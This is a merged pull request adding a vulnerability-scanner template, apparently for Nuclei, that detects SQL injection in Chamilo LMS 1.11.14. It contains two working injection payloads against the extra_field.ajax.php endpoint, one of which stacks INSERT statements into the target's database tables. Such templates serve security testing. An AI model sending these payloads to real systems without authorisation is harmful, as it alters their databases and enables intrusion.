Merge pull request #1362 from underfl0w/chamilo-lms-sqli

Chamilo 1.11.14 LMS sql injection

vulnerabilities/other/chamilo-lms-sqli.yaml

@@ -0,0 +1,35 @@
+id: chamilo-lms-sqli
+info:
+  author: undefl0w
+  name: Chamilo LMS SQL Injection
+  severity: high
+  description: Finds sql injection in Chamilo version 1.11.14
+  tags: 'chamilo,sqli'
+requests:
+  - raw:
+      - |
+        POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        type=image&field_id=image&tag=image&from=image&search=image&options=["test'); INSERT INTO extra_field_rel_tag(field_id, tag_id, item_id) VALUES (16, 16, 16); INSERT INTO extra_field_values(field_id, item_id,value) VALUES (16, 16,'chamilosqli'); INSERT INTO extra_field_options(option_value) VALUES ('chamilosqli'); INSERT INTO tag(id,tag,field_id ) VALUES (16,'chamilosqli',16);     -- "]
+
+      - |
+        POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        type=image&field_id=image&tag=image&from=image&search=image&options=["notthetag') or 1=1 -- "]
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'chamilosqli'
+          - '[{"text":"",'
+        condition: and
+        part: body
+      - type: word
+        words:
+          - 'ch_sid='
+        part: header